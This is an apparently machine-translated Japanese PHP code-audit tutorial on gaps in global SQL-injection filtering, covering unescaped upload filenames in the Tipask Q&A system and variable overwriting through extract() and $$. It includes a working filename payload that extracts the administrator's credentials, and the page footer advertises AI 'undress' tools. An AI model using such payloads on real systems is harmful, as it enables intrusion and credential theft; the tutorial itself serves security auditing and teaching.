[PHP コード監査] 当時、私たちは SQL インジェクションを一緒に掘り下げました - 8. グローバルな保護の盲点の概要、パート 2
0x01 Background
WEB アプリケーションにおける SQL インジェクションに対する現在の保護は、基本的に GPC が有効かどうかを決定し、addlashes 関数を使用して一重引用符などの特殊文字をエスケープします。しかし、このような保護を使用するだけでは多くの盲点があります。前の記事 http://www.waitalone.cn/php-code-audit-6.html に続いて、他の 2 つの状況を示します。
盲点は次のとおりです。
①FILES インジェクションは、GET、POST などからのパラメーターのみをグローバルにエスケープし、FILES は省略します。
②変数カバレッジ、危険な関数: extract()、parse_str()、$$。
0x02 脆弱性分析
FILES インジェクション
FILES インジェクションは、通常、アップロード時にデータベースに挿入するアップロードされた名前を取り込むことによって発生します。 tipask の質問と回答システムで
まず、そのグローバル保護がどのように処理されるかを見てみましょう:
index.php里:include TIPASK_ROOT . '/model/tipask.class.php';$tipask = new tipask();$tipask->run();... ...跟进到/model/tipask.class.php里:function init_request() {... ... $this->get = taddslashes($this->get, 1); $this->post = taddslashes(array_merge($_GET, $_POST)); checkattack($this->post, 'post'); checkattack($this->get, 'get'); unset($_POST); }
get と post からのデータが特別にエスケープされていることがわかります。処理中、$_FILES には処理操作がありません。 $_FILES をグローバルに検索したところ、/control/attach.php にアップロード処理があることがわかりました。
<?phpfunction onupload() { //上传配置 $config = array( "uploadPath" => "data/attach/", //保存路径 "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式 "fileSize" => 10 //文件大小限制,单位MB ); //文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜 $state = "SUCCESS"; $clientFile = $_FILES["upfile"]; if (!isset($clientFile)) { echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size exit; } //格式验证 $current_type = strtolower(strrchr($clientFile["name"], '.')); if (!in_array($current_type, $config['fileType'])) { $state = "不支持的文件类型!"; } //大小验证 $file_size = 1024 * 1024 * $config['fileSize']; if ($clientFile["size"] > $file_size) { $state = "文件大小超出限制!"; } //保存文件 if ($state == "SUCCESS") { $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.'); $result = $_ENV['attach']->movetmpfile($clientFile, $targetfile); if (!$result) { $state = "文件保存失败!"; } else { //这里将上传的文件名带入数据库查询 $_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0); } } //向浏览器返回数据json数据 echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';}
次の文が表示されます。 _ENV['attach ']->add($clientFile["name"]...) は $clientFile[name] = $_FILES["upfile"][name] を次の追加操作に組み込み、インジェクションを引き起こします。
<?phpfunction add($filename,$ftype,$fsize,$location,$isimage=1) { $uid=$this->base->user['uid']; $this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid) VALUES ({$this->base->time},'$filename','$ftype','$fsize','$location',$isimage,$uid)"); return $this->db->insert_id();}
ファイルをアップロードし、ファイル名を次のコードに変更して管理者アカウントのパスワードを取得します。
filename="1','.php',1,( select concat (username,0x23,password) from ask_user limit 1),2,1)#.jpg"
管理者アカウントのパスワードがデータベースの接続テーブルに正常に挿入されました:
変数の適用範囲
たとえば、extract($_POST) 関数は、POST 配列から変数を直接取り出し、以前の変数の一部を上書きします。
<?php$a=222333;@extract($_POST);print_r($a);
ブラウザのポストでは、a=1 が直接渡され、変数 a の値が正常に上書きされています
現在、Wuyun http の場合を見てください://www.wooyun .org/bugs/wooyun-2014-053189 がカバレッジ テーブルのプレフィックスに表示されます。
$$ 変数カバレッジ
原理は実際には上記と同じです。$$ 変数カバレッジには非常に古典的なコードがあります。
<?php$a=22333;foreach(array('_COOKIE','_POST','_GET') as $_request){ foreach($$_request as $_key=>$_value){ $$_key = addslashes($_value); }}echo $a;
テストでは次のことがわかりました。変数 a は正常にカバーされました
ケース: http://www.wooyun.org/bugs/wooyun-2010-055338
元のテキストの転載元: http:/ /www.cnbraid.com/ 2016/05/31/sql7/

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック











多くの場合、キーワードと追跡パラメーターで散らかった長いURLは、訪問者を阻止できます。 URL短縮スクリプトはソリューションを提供し、ソーシャルメディアやその他のプラットフォームに最適な簡潔なリンクを作成します。 これらのスクリプトは、個々のWebサイトにとって価値があります

2012年のFacebookによる有名な買収に続いて、Instagramはサードパーティの使用のために2セットのAPIを採用しました。これらはInstagramグラフAPIとInstagram Basic Display APIです。

Laravelは、直感的なフラッシュメソッドを使用して、一時的なセッションデータの処理を簡素化します。これは、アプリケーション内に簡単なメッセージ、アラート、または通知を表示するのに最適です。 データは、デフォルトで次の要求のためにのみ持続します。 $リクエスト -

これは、LaravelバックエンドとのReactアプリケーションの構築に関するシリーズの2番目と最終部分です。シリーズの最初の部分では、基本的な製品上場アプリケーションのためにLaravelを使用してRESTFUL APIを作成しました。このチュートリアルでは、開発者になります

Laravelは簡潔なHTTP応答シミュレーション構文を提供し、HTTP相互作用テストを簡素化します。このアプローチは、テストシミュレーションをより直感的にしながら、コード冗長性を大幅に削減します。 基本的な実装は、さまざまな応答タイプのショートカットを提供します。 Illuminate \ support \ facades \ httpを使用します。 http :: fake([[ 'google.com' => 'hello world'、 'github.com' => ['foo' => 'bar']、 'forge.laravel.com' =>

PHPクライアントURL(CURL)拡張機能は、開発者にとって強力なツールであり、リモートサーバーやREST APIとのシームレスな対話を可能にします。尊敬されるマルチプロトコルファイル転送ライブラリであるLibcurlを活用することにより、PHP Curlは効率的なexecuを促進します

顧客の最も差し迫った問題にリアルタイムでインスタントソリューションを提供したいですか? ライブチャットを使用すると、顧客とのリアルタイムな会話を行い、すぐに問題を解決できます。それはあなたがあなたのカスタムにより速いサービスを提供することを可能にします

2025 PHP Landscape Surveyは、現在のPHP開発動向を調査しています。 開発者や企業に洞察を提供することを目的とした、フレームワークの使用、展開方法、および課題を調査します。 この調査では、現代のPHP Versioの成長が予想されています
